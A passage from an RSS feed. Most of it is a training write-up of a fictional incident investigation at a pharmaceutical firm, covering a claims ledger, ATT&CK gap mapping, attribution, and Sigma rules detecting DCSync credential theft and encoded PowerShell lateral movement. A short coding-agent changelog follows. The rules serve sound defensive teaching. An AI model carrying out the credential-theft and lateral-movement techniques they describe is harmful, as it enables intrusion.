CrowdStrike<br><strong>Label:</strong> CONFIRMED<br><strong>ATT&amp;CK:</strong> T1070.001<br><strong>Notes:</strong> Sysmon log remained intact because it was protected.</li></ol><p><strong>The evidence label system matters here.</strong> Event 12 (DCSync) is CONFIRMED — it exists in DC01’s Windows Security log, forwarded to Splunk, from an IP that is definitively WS-IT-LEVI and definitively not the pentest VLAN. That cannot be waved away as “possible pentest activity.” Event 6 (finance server access) is CORROBORATED — single source with incomplete log — and can only appear in the technical report with an explicit qualifier, not in the executive brief as a stated fact.</p><h4>3. Save and commit</h4><pre>git add 03-analysis/timeline/timeline.md<br>git commit -m "PROJ-2024-001: timeline — 18 events Oct 18–Nov 15, dual-path confirmed, GAP-001 bounds established"</pre><h3>Step R3: Claims Ledger — Every Assertion Traced to Evidence</h3><h4>1. Open the claims ledger</h4><pre>nano 03-analysis/claims/claims-ledger.md</pre><p>The template has a table with six columns: ID, Claim, Evidence, Confidence, Competing Hypotheses, PIR. Start with an empty row for each major assertion you identified in the timeline — then fill each one completely before moving to the next.</p><p><strong>For each row, answer these five questions before typing a word:</strong></p><ol><li>What is the exact assertion? (One sentence, falsifiable — could in principle be proven false)</li><li>Which file and line number is the evidence in? (Not “we saw in Splunk” — the actual log reference)</li><li>What confidence level and why? (High / Medium / Low / Insufficient — with explicit rationale)</li><li>What alternative explanations were considered — and why were they ruled out or left open?</li><li>Which PIR does this answer?</li></ol><p>If you cannot answer question 4, the claim is not ready to write. Think first.</p><h4>2. Fill in one claim per confirmed technique or PIR answer</h4><p>The claims ledger converts the timeline into auditable, falsifiable assertions. Each claim answers five questions: what, evidence, confidence, competing hypotheses, which PIR.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hBZhaHELHNyuzUeTbMbGvw.png"></figure><p><strong>CL-001 — Initial access via AiTM phishing against IT admin </strong><strong>p.levi</strong></p><ul><li><strong>Claim:</strong> Initial access was via AiTM phishing against IT admin p.levi on October 22, 2024.</li><li><strong>Evidence:</strong> M365 ATP log shows AiTM HTML lure delivered at 11:23 and opened at 11:31. VPN login from Istanbul occurred at 02:17 on October 24 with no MFA challenge, indicating likely stolen session token replay.</li><li><strong>Confidence:</strong> High</li><li><strong>Competing Hypotheses:</strong> Credential purchase or insider activity cannot be fully ruled out without WS-IT-LEVI disk forensics, which is blocked by legal hold. However, the AiTM lure plus token replay pattern is more parsimonious.</li><li><strong>PIR:</strong> PIR-002</li></ul><p><strong>CL-002 — Use of </strong><strong>svc_backup Domain Admin credentials to access formula files</strong></p><ul><li><strong>Claim:</strong> The adversary used svc_backup Domain Admin credentials to access SERVER-RD-02 and the formula files.</li><li><strong>Evidence:</strong> EID 4624 on SERVER-RD-02 shows svc_backup Type 3 logon from WS-IT-LEVI. EID 4663 occurred 47 times on formula files.</li><li><strong>Confidence:</strong> High</li><li><strong>Competing Hypotheses:</strong> Legitimate backup operation is ruled out because backup jobs run from SERVER-WSUS-01 / 10.10.4.x, not from WS-IT-LEVI. The timestamp, 02:09 UTC, is outside the maintenance window.</li><li><strong>PIR:</strong> PIR-002</li></ul><p><strong>CL-003 — Exfiltration of 47 formula files on November 6, 2024</strong></p><ul><li><strong>Claim:</strong> The 47 formula files in USPartner2024 were exfiltrated on November 6, 2024.</li><li><strong>Evidence:</strong> EID 4663 occurred 47 times, showing file access. EID 5156 shows outbound HTTPS from SERVER-RD-02 at the same time. Palo Alto NGFW flow shows 10.10.2.15 → 198.51.100.44:443, with 381 MB outbound between 02:14 and 02:19 UTC.</li><li><strong>Confidence:</strong> High</li><li><strong>Competing Hypotheses:</strong> File access for indexing or backup is ruled out because no backup job ran at this time. The 381 MB outbound volume matches the compressed formula package. The destination IP is not in the allowlist and resolves to a VPS hosting provider.</li><li><strong>PIR:</strong> PIR-001 — <strong>ANSWERED: YES</strong></li></ul><p><strong>CL-004 — DCSync executed via </strong><strong>svc_backup on November 6</strong></p><ul><li><strong>Claim:</strong> DCSync was executed via svc_backup Domain Admin rights on November 6 at 02:48 UTC.</li><li><strong>Evidence:</strong> DC01 EID 4662 shows DS-Replication-Get-Changes GUID from 10.10.3.22, which is WS-IT-LEVI. The subject username was svc_backup.</li><li><strong>Confidence:</strong> High</li><li><strong>Competing Hypotheses:</strong> Legitimate AD replication is ruled out because the event originated from a workstation IP, not a domain controller. Authorized pentest scope explicitly excluded DCSync and used only 10.10.99.x IPs.</li><li><strong>PIR:</strong> PIR-003</li></ul><p><strong>CL-005 — CFO path and IT admin path are same threat actor</strong></p><ul><li><strong>Claim:</strong> Path A, involving the CFO on November 15, and Path B, involving the IT admin on October 22, are attributable to the same threat actor.</li><li><strong>Evidence:</strong> Both svchost32.exe and UpdateHelper.dll share the same fake PE compile timestamp: 2018-04-09. The secondary C2 sys-update-cdn[.]net was hard-coded in the CFO implant and also used in SERVER-RD-02 DNS activity.</li><li><strong>Confidence:</strong> High</li><li><strong>Competing Hypotheses:</strong> Coincidence would require two separate actors to target the same organization at the same time using a near-identical toolchain. This is extremely implausible.</li><li><strong>PIR:</strong> PIR-002</li></ul><p><strong>CL-006 — Full domain compromise via DCSync</strong></p><ul><li><strong>Claim:</strong> The adversary achieved full domain compromise via DCSync. All Active Directory credentials must be treated as compromised.</li><li><strong>Evidence:</strong> CL-004 confirms DCSync activity. svc_backup held Domain Admin rights. DCSync requests included krbtgt and privileged account hashes.</li><li><strong>Confidence:</strong> High</li><li><strong>Competing Hypotheses:</strong> DCSync may have been partial or failed, but this cannot be confirmed without full DC01 log access. Treating the environment as fully compromised is the conservative and operationally correct response until disproven.</li><li><strong>PIR:</strong> PIR-003</li></ul><p><strong>CL-003 is the pivotal claim.</strong> The US partner’s formulas are gone. That drives the PIR-001 answer and the entire notification timeline. CL-004 and CL-006 change the scope of remediation from “contain these three hosts” to “rotate all AD credentials, treat all 80 servers as potentially compromised.”</p><h4>3. Update project.yml PIR status</h4><p>When a PIR is answered, open project.yml and change the status field immediately:</p><pre>nano project.yml</pre><p>Change:</p><pre>- id: PIR-001<br>    status: open</pre><p>To:</p><pre>- id: PIR-001<br>    status: answered    # CL-003 — exfiltration confirmed, 381 MB, Nov 6</pre><h4>4. Commit the claims ledger</h4><pre>git add 03-analysis/claims/claims-ledger.md project.yml<br>git commit -m "PROJ-2024-001: claims — 6 claims; PIR-001 ANSWERED YES (CL-003 exfil confirmed); PIR-003 CONFIRMED ONGOING (CL-006 DCSync)"</pre><h3>Step R4: ATT&amp;CK Mapping — Where Detection Failed</h3><h4>1. Open the ATT&amp;CK mapping file</h4><pre>nano 03-analysis/attck-mapping/attck-mapping.md</pre><p>For each technique you identified in the timeline, add one row. The four columns that matter most operationally are: <strong>Confidence</strong> (how sure are you the technique was used), <strong>Rule Fired?</strong> (yes/no/partial — check your SIEM), and <strong>Gap Type</strong> (what kind of work is needed to close this detection hole).</p><p><strong>Gap types:</strong> Rule missing / Data source missing / Coverage incomplete / Architectural gap. Pick one. If you are unsure, write your best guess and flag it for SOC review.</p><p>Also update project.yml — fill the attck_techniques list:</p><pre>nano project.yml</pre><pre>scope:<br>  attck_techniques:<br>    - T1566.001<br>    - T1557<br>    - T1133<br>    - T1078.002<br>    - T1059.001<br>    - T1003.001<br>    - T1003.006<br>    - T1021.003<br>    - T1197<br>    - T1047<br>    - T1070.001<br>    - T1547.001</pre><h4>2. Fill one row per technique</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k61svPS7k5oRag9OCWIk4w.png"></figure><p><strong>T1566.001 — Phishing attachment, CFO </strong><strong>.xlsm</strong></p><ul><li><strong>Evidence:</strong> M365 ATP log</li><li><strong>Confidence:</strong> High</li><li><strong>Rule Fired?:</strong> Partial — ATP delivered; SCL=4, threshold=5</li><li><strong>Gap Type:</strong> Coverage incomplete — SCL threshold tuning</li></ul><p><strong>T1557 — AiTM credential theft, IT admin</strong></p><ul><li><strong>Evidence:</strong> VPN login pattern + AiTM HTML lure</li><li><strong>Confidence:</strong> High</li><li><strong>Rule Fired?:</strong> <strong>No</strong></li><li><strong>Gap Type:</strong> Rule missing — no AiTM session token detection</li></ul><p><strong>T1133 — VPN access with stolen credentials</strong></p><ul><li><strong>Evidence:</strong> VPN log: Istanbul, off-hours, no prior history</li><li><strong>Confidence:</strong> High</li><li><strong>Rule Fired?:</strong> <strong>No</strong></li><li><strong>Gap Type:</strong> Rule missing — no anomalous VPN authentication alert</li></ul><p><strong>T1078.002 — Valid account abuse, </strong><strong>svc_backup</strong></p><ul><li><strong>Evidence:</strong> EID 4624, multiple events</li><li><strong>Confidence:</strong> High</li><li><strong>Rule Fired?:</strong> <strong>No</strong></li><li><strong>Gap Type:</strong> Rule missing — service account off-hours logon undetected</li></ul><p><strong>T1059.001 — Encoded PowerShell, both hosts</strong></p><ul><li><strong>Evidence:</strong> Sysmon EID 1, CrowdStrike</li><li><strong>Confidence:</strong> High</li><li><strong>Rule Fired?:</strong> Yes, CFO only, via CrowdStrike behavioral detection</li><li><strong>Gap Type:</strong> Coverage incomplete — CFO only; IT admin host fired no alert</li></ul><p><strong>T1003.001 — LSASS memory access</strong></p><ul><li><strong>Evidence:</strong> Sysmon EID 10, GrantedAccess 0x1010</li><li><strong>Confidence:</strong> High</li><li><strong>Rule Fired?:</strong> <strong>No</strong></li><li><strong>Gap Type:</strong> Rule missing — Sysmon EID 10 not alerted on</li></ul><p><strong>T1003.006 — DCSync</strong></p><ul><li><strong>Evidence:</strong> DC01 EID 4662</li><li><strong>Confidence:</strong> High</li><li><strong>Rule Fired?:</strong> <strong>No</strong></li><li><strong>Gap Type:</strong> Rule missing — EID 4662 audit configured but no alert rule</li></ul><p><strong>T1021.003 — WMI lateral movement to </strong><strong>SERVER-FIN-01</strong></p><ul><li><strong>Evidence:</strong> CrowdStrike: WmiPrvSE → PowerShell</li><li><strong>Confidence:</strong> High</li><li><strong>Rule Fired?:</strong> <strong>No</strong></li><li><strong>Gap Type:</strong> Rule missing — WmiPrvSE parent alert not deployed</li></ul><p><strong>T1197 — BITS download, second stage</strong></p><ul><li><strong>Evidence:</strong> Sysmon EID 1, bitsadmin</li><li><strong>Confidence:</strong> High</li><li><strong>Rule Fired?:</strong> <strong>No</strong></li><li><strong>Gap Type:</strong> Rule missing — BITS external download not monitored</li></ul><p><strong>T1047 — WMI execution, lateral movement</strong></p><ul><li><strong>Evidence:</strong> CrowdStrike log</li><li><strong>Confidence:</strong> High</li><li><strong>Rule Fired?:</strong> <strong>No</strong></li><li><strong>Gap Type:</strong> Data source missing — WMI logging not in SIEM</li></ul><p><strong>T1070.001 — Event log cleared</strong></p><ul><li><strong>Evidence:</strong> CrowdStrike EID 1102</li><li><strong>Confidence:</strong> High</li><li><strong>Rule Fired?:</strong> <strong>No</strong></li><li><strong>Gap Type:</strong> Rule missing — wevtutil alert not deployed</li></ul><p><strong>T1547.001 — Registry Run Key persistence</strong></p><ul><li><strong>Evidence:</strong> Sysmon EID 13</li><li><strong>Confidence:</strong> High</li><li><strong>Rule Fired?:</strong> <strong>No</strong></li><li><strong>Gap Type:</strong> Coverage incomplete — EID 13 ingested but no alert rule on AppData\\Roaming paths</li></ul><p><strong>The gap taxonomy tells the engineering team exactly what work is required:</strong></p><ul><li><strong>Rule missing (7 techniques):</strong> Data is in SIEM. A detection engineer can write and deploy the rule. These are sprint items.</li><li><strong>Coverage incomplete (3 techniques):</strong> Rule or data exists but is mis-tuned or partial. These require tuning, not new infrastructure.</li><li><strong>Data source missing (1 technique):</strong> WMI execution logging is not in the SIEM. This requires an infrastructure change before rules can be written.</li></ul><p>The DCSync gap (T1003.006) is particularly stark: the Advanced Audit Policy that generates EID 4662 was correctly configured on DC01, the event was forwarded to Splunk, and the event was visible in Splunk. There was no alert rule. A single Splunk search rule on source=WinEventLog:Security EventCode=4662 ObjectType="{19195a5b-6da0-11d0-afd3-00c04fd930c9}" from a non-DC IP would have fired and contained this incident before the formula exfiltration.</p><h4>3. Commit the ATT&amp;CK mapping</h4><pre>git add 03-analysis/attck-mapping/attck-mapping.md project.yml<br>git commit -m "PROJ-2024-001: ATT&amp;CK mapping — 12 techniques, 7 rule-missing, 3 coverage-incomplete, 1 data-source-missing, 1 arch-gap"</pre><h3>Step R5: Attribution Assessment — Same Actor or Two?</h3><h4>1. Open the attribution file</h4><pre>nano 03-analysis/attribution/attribution.md</pre><p>Write attribution <strong>only after the claims ledger is complete</strong>. The attribution file has three sections: evidence for unification (or separation), confidence ladder scoring, and the exact language to use in deliverables. Fill them in that order.</p><p><strong>Do not start with a hypothesis.</strong> Start with the evidence you have from the claims ledger, then see where it points.</p><h4>2. Score the evidence against the confidence ladder</h4><p>The investigation faces a key analytical question: Path A (CFO phishing, November 15) and Path B (IT admin AiTM, October 22) — are they the same actor?</p><p><strong>Evidence for unification (same actor):</strong></p><ol><li><strong>Shared PE compile timestamp:</strong> Both dropped binaries — svchost32.exe (CFO host) and UpdateHelper.dll (IT admin host) — carry an identical fake compile timestamp of 2018-04-09. This is a known toolchain fingerprint. The probability of two unrelated actors both timestomping to the same date is extremely low.</li><li><strong>Shared secondary C2 domain in memory:</strong> Strings extracted from svchost32.exe include sys-update-cdn[.]net — the domain that appeared only in SERVER-RD-02's DNS logs during the formula exfiltration. The CFO's implant knew about infrastructure used during the Path B operation. This is only explicable if the same actor controlled both implants.</li><li><strong>Coordinated operations timeline:</strong> The CFO was targeted on the same day that the finance server data was being staged on SERVER-FIN-01 via lateral movement from the IT admin path. Two independent actors staging finance data simultaneously at the same target is implausible.</li></ol><p><strong>Assessment: Single threat actor, dual delivery mechanism.</strong></p><p>The actor compromised the IT admin first (October 22), used that access for data theft (November 6), then independently targeted the CFO to expand access to finance data. The two phishing lures used different delivery infrastructure (different sender domains, different sending IPs from the same /24 block) — consistent with an actor who maintains parallel operational tracks.</p><p><strong>Attribution confidence: Medium-High.</strong> Apply the confidence ladder from Step R5 of the methodology to score this case:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rrKN1yNFJL_eINzt_iec9A.png"></figure><p><strong>Ladder tier: Medium-High</strong> — TTP overlap + infrastructure match present; independent confirmation absent. The toolset has not been definitively matched to a named cluster, which prevents elevation to High.</p><p><strong>What to write:</strong> <em>“Activity assessed as a single threat actor based on shared toolchain indicators (PE timestamp, secondary C2 domain). Tradecraft and targeting profile are consistent with Iranian-nexus industrial espionage operations targeting Israeli pharmaceutical IP. Attribution to a named cluster is not warranted without CERT-IL deconfliction or independent confirmation. Confidence: Medium-High.”</em></p><h4>3. Paste the final language into attribution.md and commit</h4><pre>git add 03-analysis/attribution/attribution.md<br>git commit -m "PROJ-2024-001: attribution — single actor, Medium-High confidence, shared PE timestamp + secondary C2, Iranian-nexus tradecraft consistent"</pre><h3>Step R6: Detection Rules — Four That Would Have Changed the Outcome</h3><h4>1. Create one file per rule</h4><p>Each rule gets its own file in 04-detections/sigma/:</p><pre>cp 04-detections/sigma/SIGMA-TEMPLATE.yml 04-detections/sigma/DET-001-anomalous-vpn-auth.yml<br>cp 04-detections/sigma/SIGMA-TEMPLATE.yml 04-detections/sigma/DET-002-dcsync-non-dc.yml<br>cp 04-detections/sigma/SIGMA-TEMPLATE.yml 04-detections/sigma/DET-003-svc-account-offhours.yml<br>cp 04-detections/sigma/SIGMA-TEMPLATE.yml 04-detections/sigma/DET-004-wmiprvse-powershell.yml</pre><p>Open the first one:</p><pre>nano 04-detections/sigma/DET-001-anomalous-vpn-auth.yml</pre><p>Every rule must reference the CL-ID it would have detected and the gap type it closes. That is how the detection backlog stays traceable to the investigation.</p><h4>2. Fill each rule</h4><p>Each rule is written with a reference to the claim it would have detected and the evidence gap it closes.</p><p><strong>DET-001: Anomalous VPN Authentication from Non-Corporate Source</strong></p><pre>title: Anomalous VPN Authentication — New Geography or Hosting ASN<br>id: a1b2c3d4-5678-9abc-def0-1234567890ab<br>status: experimental<br>description: &gt;<br>  Detects VPN authentication success from a source IP with no prior history for<br>  this user, specifically from IPs geolocated outside Israel or from hosting/VPN<br>  ASNs. Covers T1133 and T1557 (session token replay after AiTM interception).<br>  Derived from PROJ-001 — CL-001, p.levi VPN from Istanbul at 02:17 UTC.<br>logsource:<br>  category: network<br>  product: cisco_anyconnect<br>detection:<br>  selection:<br>    event.action: vpn_auth_success<br>    user.name|exists: true<br>  filter_known:<br>    source.geo.country_iso_code: 'IL'<br>    source.as.number|not|startswith: ['AS47583', 'AS16276']   # hosting VPS ASNs<br>  condition: selection and not filter_known<br>falsepositives:<br>  - Legitimate international travel — validate against HR travel records<br>  - Remote contractors working abroad<br>level: high<br>tags:<br>  - attack.initial_access<br>  - attack.t1133<br>  - attack.credential_access<br>  - attack.t1557</pre><p><strong>DET-002: DCSync Attack Detection</strong></p><pre>title: DCSync Attack via Non-DC Account<br>id: b2c3d4e5-6789-abcd-ef01-234567890abc<br>status: production<br>description: &gt;<br>  Detects DCSync by looking for EID 4662 with the DS-Replication-Get-Changes<br>  GUID originating from a workstation IP rather than a domain controller.<br>  Derived from PROJ-001 — CL-004: svc_backup performed DCSync from WS-IT-LEVI<br>  using Domain Admin rights that were never revoked after an August 2024 <br>  emergency backup restoration.<br>logsource:<br>  category: windows<br>  product: windows<br>  service: security<br>detection:<br>  selection:<br>    EventID: 4662<br>    ObjectType: '{19195a5b-6da0-11d0-afd3-00c04fd930c9}'   # DS-Replication-Get-Changes<br>    Properties|contains:<br>      - '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2'             # DS-Replication-Get-Changes-All<br>      - '89e95b76-444d-4c62-991a-0facbeda640c'             # DS-Replication-Get-Changes-In-Filtered-Set<br>  filter_legitimate_dc:<br>    IpAddress|startswith:<br>      - '10.10.1.10'   # DC01 — add all DC IPs here<br>      - '10.10.1.11'   # DC02<br>  condition: selection and not filter_legitimate_dc<br>falsepositives:<br>  - Azure AD Connect sync account — must be explicitly whitelisted<br>  - Authorized red team / pentest — validate scope before dismissing<br>level: critical<br>tags:<br>  - attack.credential_access<br>  - attack.t1003.006</pre><p><strong>DET-003: Service Account Off-Hours Authentication</strong></p><pre>title: Service Account Authentication Outside Business Hours<br>id: c3d4e5f6-789a-bcde-f012-34567890abcd<br>status: experimental<br>description: &gt;<br>  Detects authentication by a service account (accounts matching svc_* naming<br>  pattern) outside business hours (22:00–06:00) to a non-designated system.<br>  Covers T1078.002 (Valid Accounts: Domain Accounts) for svc_backup lateral<br>  movement in PROJ-001.<br>logsource:<br>  category: windows<br>  product: windows<br>  service: security<br>detection:<br>  selection:<br>    EventID: 4624<br>    LogonType: 3<br>    SubjectUserName|startswith: 'svc_'<br>  filter_business_hours:<br>    TimeCreated|windash|lt: '22:00:00'<br>    TimeCreated|windash|gt: '06:00:00'<br>  filter_known_backup_host:<br>    IpAddress: '10.10.4.15'   # SERVER-WSUS-01 — legitimate backup source<br>  condition: selection and not filter_business_hours and not filter_known_backup_host<br>falsepositives:<br>  - Scheduled tasks that legitimately run at night — review and whitelist specific pairs<br>level: medium<br>tags:<br>  - attack.lateral_movement<br>  - attack.t1078.002</pre><p><strong>DET-004: WmiPrvSE Spawning PowerShell</strong></p><pre>title: WMI Remote Execution — PowerShell Child of WmiPrvSE<br>id: d4e5f6a7-89ab-cdef-0123-4567890abcde<br>status: production<br>description: &gt;<br>  Detects WMI-based lateral movement (T1021.003) where WmiPrvSE.exe spawns<br>  PowerShell on a remote system. This is the pattern from PROJ-001 step 16:<br>  lateral movement from WS-CFO-01 to SERVER-FIN-01 via WMI using svc_finreport<br>  credentials. CrowdStrike detected the PowerShell on SERVER-FIN-01 but the<br>  originating WMI connection from the CFO host had no coverage.<br>logsource:<br>  category: process_creation<br>  product: windows<br>detection:<br>  selection:<br>    ParentImage|endswith: '\WmiPrvSE.exe'<br>    Image|endswith: '\powershell.exe'<br>  suspicious_flags:<br>    CommandLine|contains:<br>      - '-Enc'<br>      - '-EncodedCommand'<br>      - '-NonI'<br>      - '-W Hidden'<br>  condition: selection and suspicious_flags<br>falsepositives:<br>  - SCCM WMI-based software deployment with PowerShell post-install scripts<br>level: high<br>tags:<br>  - attack.lateral_movement<br>  - attack.execution<br>  - attack.t1021.003<br>  - attack.t1059.001</pre><p><strong>Validation:</strong> All four rules were validated against the PROJ-001 evidence set using Hayabusa before deployment. DET-001 fires on the October 24 Istanbul VPN login. DET-002 fires on the November 6 DCSync event. DET-003 fires on every svc_backup off-hours logon. DET-004 fires on the SERVER-FIN-01 WMI execution.</p><h4>3. Validate each rule against your evidence set</h4><pre># Run Hayabusa against the collected logs to confirm rules fire on known-bad events<br>hayabusa csv-timeline -d 01-evidence/ -r 04-detections/sigma/ -o validation-results.csv</pre><p>Review the output. A rule that does not fire on its own evidence set should not be deployed.</p><h4>4. Update project.yml deliverables count and commit</h4><pre>nano project.yml</pre><pre>deliverables:<br>  - type: sigma-rules<br>    count: 4<br>    status: complete</pre><pre>git add 04-detections/sigma/ project.yml<br>git commit -m "PROJ-2024-001: detections — DET-001 to DET-004 written and validated PASS against evidence set via Hayabusa"</pre><h3>Step R7: Deliverables — What Each Stakeholder Gets</h3><h4>1. Open the deliverable templates</h4><pre>nano 05-deliverables/executive-brief.md<br>nano 05-deliverables/soc-handoff.md</pre><p>The executive brief answers three questions only: what happened, what was confirmed stolen or compromised, and what must happen in the next 24 hours. One page. No technical jargon. Every PIR that is answered gets a one-line answer at the top.</p><p>The SOC handoff lists: current IOCs (with confidence ratings), detection rules deployed, hunting queries still open, and escalation criteria. The SOC receives this, not the executive brief.</p><blockquote>2. Fill the executive brief</blockquote><p><strong>Executive brief (1 page, TLP:AMBER) — what the CISO needs in 90 minutes:</strong></p><blockquote><em>An adversary assessed as Iranian-nexus compromised LifeTech Pharma through two separate phishing attacks over 24 days. Using stolen IT administrator credentials, they accessed and exfiltrated the 47-file US licensing formula package on November 6, 2024. They also performed a DCSync attack on the domain controller, which means all Active Directory credentials must be treated as compromised.</em></blockquote><blockquote><strong><em>PIR-001 ANSWERED:</em></strong><em> The US partner formula package was exfiltrated. 381 MB outbound confirmed in firewall logs.</em></blockquote><blockquote><strong><em>PIR-003 ANSWERED:</em></strong><em> Active compromise ongoing. The CFO alert on November 15 is a second wave from the same actor, still active at time of investigation.</em></blockquote><blockquote><strong><em>Immediate actions:</em></strong><em> Full AD credential rotation; quarantine WS-CFO-01 and SERVER-FIN-01; notify INCD (72h clock from discovery: expires November 17 02:14 IST); brief the US licensing partner.</em></blockquote><p><strong>SOC handoff (technical):</strong></p><p>Current IOCs: 203.0.113.87, 198.51.100.44, telemetry-cdn-services[.]biz, sys-update-cdn[.]net, uslifepartner-group[.]com, lifetechpharma-corp[.]eu.</p><p>Four detection rules deployed (DET-001 through DET-004). Two hunting queries: (1) pivot on C2 domains across all 838 endpoints — the 3 confirmed hosts may not be all; (2) hunt for any svc_backup authentication from non-WSUS IPs in the past 30 days.</p><h4>3. Update project.yml status to closed and commit everything</h4><pre>nano project.yml</pre><pre>project:<br>  status: closed<br>pirs:<br>  - id: PIR-001<br>    status: answered    # CL-003<br>  - id: PIR-002<br>    status: answered    # CL-001<br>  - id: PIR-003<br>    status: answered    # CL-006 - ongoing, AD rotation required</pre><pre>git add 05-deliverables/ project.yml<br>git commit -m "PROJ-2024-001: deliverables — executive brief, SOC handoff, INCD notification ready; all PIRs answered; project closed"</pre><h3>The Git History: What a Completed Investigation Looks Like</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9m5xzm1v4yUoNN47GznubQ.png"></figure><pre>b9a2f1c  PROJ-001: deliverables — executive brief, SOC handoff, INCD notification ready<br>7c8d3e4  PROJ-001: detections — DET-001 through DET-004 validated PASS via Hayabusa<br>5f2a9b1  PROJ-001: attribution — single actor assessed (shared PE timestamp + secondary C2)<br>3e4c7d8  PROJ-001: ATT&amp;CK mapping — 12 techniques, 7 rule-missing, 3 incomplete, 1 data-missing<br>1b6f2a5  PROJ-001: claims — 6 claims; PIR-001 ANSWERED YES (CL-003); PIR-003 CONFIRMED ONGOING (CL-006)<br>9a3e7c2  PROJ-001: timeline — 18 events Oct 22–Nov 15; dual-path confirmed, same actor assessed<br>6f1b4d9  PROJ-001: evidence inventory — 6 sources, GAP-001 documented, firewall log retrieval urgent<br>2c8a5e3  PROJ-001: scope — signed off 22:55 IST; PIR-001/002/003, TLP AMBER, legal hold WS-IT-LEVI<br>a1d7f4b  PROJ-001: intake — CFO PowerShell alert, legal hold WS-IT-LEVI, formula data in scope<br>0e9c2b7  PROJ-001: scaffold initialized</pre><p>Each commit is a phase. Each message states the project ID, the phase, and a one-line summary of what was concluded. When a lawyer asks six months from now “what did you know and when did you know it?” — the git log answers.</p><h3>Key Lessons</h3><p><strong>The alert was not the beginning.</strong> The SOC received its first signal 52 hours after the breach was already in progress — and 15 days after the formula files were gone. The triggering alert was the second entry point. A detection rule on anomalous VPN authentication (DET-001) would have fired on October 24 at 02:17 UTC — before any lateral movement, before any data access.</p><p><strong>Gaps are findings, not absences.</strong> The 10-day Sysmon gap on WS-IT-LEVI coincided exactly with the delivery of a phishing email. Stopping a logging service is T1562.001 — Impair Defenses. A gap is not “we don’t know what happened.” A gap that coincides with a malicious delivery is evidence of anti-forensics.</p><p><strong>DCSync changes everything.</strong> The scope of remediation is not “three infected hosts.” When DCSync is confirmed via Domain Admin rights, every credential in the AD is potentially compromised. The scope is all 80 servers. The IR Lead needs to know this before the 90-minute CISO brief, not after.</p><p><strong>Claims need competing hypotheses.</strong> CL-003 (exfiltration confirmed) is only defensible as “high confidence” because specific alternative explanations were checked and explicitly ruled out — scheduled backup (wrong source IP, wrong timing), authorized developer activity (no jobs scheduled). Without the competing hypothesis analysis, a claim is an assertion. With it, it is analysis.</p><p><em>This scenario is training assignment A01 from the </em><a href="https://github.com/anpa1200/CTI_as_a_Code"><em>CTI as a Code repository</em></a><em>. The full evidence set, template, and worked solution are available there.</em></p><h3>Follow My Work</h3><p>I publish practical cybersecurity research, CTI workflows, detection engineering notes, malware analysis projects, OpenCTI work, cloud and Kubernetes security research, AI-assisted security tooling, labs, and technical guides.</p><ul><li><strong>Portfolio / Knowledge Base:</strong> <a href="https://anpa1200.github.io/">https://anpa1200.github.io/</a></li><li><strong>Medium:</strong> <a href="https://medium.com/@1200km">https://medium.com/@1200km</a></li><li><strong>GitHub:</strong> <a href="https://github.com/anpa1200">https://github.com/anpa1200</a></li><li><strong>LinkedIn:</strong> <a href="https://www.linkedin.com/in/andrey-pautov/">https://www.linkedin.com/in/andrey-pautov/</a></li></ul><p><strong>Andrey Pautov</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=3e6574b7b85f" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f">CTI as a Code in Practice: Reactive Investigation — LifeTech Pharma</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v15.9.3]]></title>
<description><![CDATA[@oh-my-pi/pi-coding-agent
Fixed

Fixed @-mention auto-read injecting an unrelated, same-named file when a mention did not point at a real path — e.g. an npm scope like @scope/, a partial path, or a bare token. generateFileMentionMessages resolution previously fell back to prefix and repo-wide fuz...]]></description>
<link>https://tsecurity.de/de/3580236/tools/v1593/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3580236/tools/v1593/</guid>
<pubDate>Mon, 08 Jun 2026 02:50:59 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>@oh-my-pi/pi-coding-agent</h2>
<h3>Fixed</h3>
<ul>
<li>Fixed <code>@</code>-mention auto-read injecting an unrelated, same-named file when a mention did not point at a real path — e.g. an npm scope like <code>@scope/</code>, a partial path, or a bare token. <code>generateFileMentionMessages</code> resolution previously fell back to prefix and repo-wide fuzzy matching (globbing the whole project on every such mention) and auto-read the single "best" guess. Resolution is now exact-only: a mention is auto-read only when it resolves to an existing file or directory; otherwise it is left as prose. The TUI <code>@</code>-selector already inserts the real, complete path before send, so post-send guessing was both unnecessary and the source of the wrong-file reads. Directories still resolve and are listed. Removes the per-mention <code>**/*</code> project scan.</li>
</ul>
<h2>@oh-my-pi/pi-tui</h2>
<h3>Fixed</h3>
<ul>
<li>Fixed ED3-risk foreground streaming erasing the head of any block that alone overflows the viewport (a tall tool result drawn in one frame, or a multi-line assistant reply growing past the viewport as it streams). The live-region pin committed native scrollback only up to the sealed-prefix boundary (<code>liveRegionStart</code>), so rows of the live block that had physically scrolled above the viewport top were neither pushed into scrollback nor kept in the repainted viewport — they vanished. The commit boundary is now the viewport top: every row above the viewport enters scrollback (only the tail still visible in the viewport stays transient and deferred to the checkpoint).</li>
<li>Fixed the same ED3-risk live-region pin duplicating already-committed scrollback rows when a foreground stream's live region collapsed mid-turn (a tool preview shrinking to its compact result, an assistant block re-wrapping shorter, a late tool completion). Because growth commits every row above the viewport top to native scrollback, a subsequent shrink moved the bottom-anchored viewport back across those committed rows and the repaint re-drew them into the viewport — so they appeared twice on scroll-up, and with no prompt-submit checkpoint to reconcile (autonomous multi-turn runs, or the session ending into the welcome screen) the duplicate was baked permanently into terminal history. The pinned repaint now separates commit geometry from repaint geometry: a collapse clamps the repaint to the committed sealed boundary (<code>min(#scrollbackHighWater, liveRegionStart)</code>) instead of re-exposing those rows, leaving native scrollback un-duplicated without emitting ED3 under a possibly-scrolled reader; stale mutable live-region saved lines still reconcile at the next checkpoint.</li>
